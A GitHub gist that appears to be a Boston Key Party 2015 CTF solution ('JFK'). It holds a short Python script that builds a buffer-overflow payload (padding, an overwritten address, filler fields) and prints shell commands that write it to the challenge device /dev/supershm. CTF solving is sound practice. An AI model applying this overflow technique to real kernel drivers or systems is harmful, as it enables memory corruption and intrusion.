Created
March 1, 2015 22:01
-
-
Save volpino/43581cd2b72481dd471f to your computer and use it in GitHub Desktop.
BKP2015 JFK
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
def q(word): | |
return struct.pack("<I", word) | |
addr = q(0xc332fc05) | |
is_valid = "BBBB" | |
myname = "DDDD" | |
payload = "A"*32 + addr + is_valid + myname | |
print "echo -ne 'c{}' > /dev/supershm".format(repr(payload)[1:-1]) | |
print "echo -ne 's{}' > /dev/supershm".format(myname) | |
print "head -c 1024 /dev/supershm" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment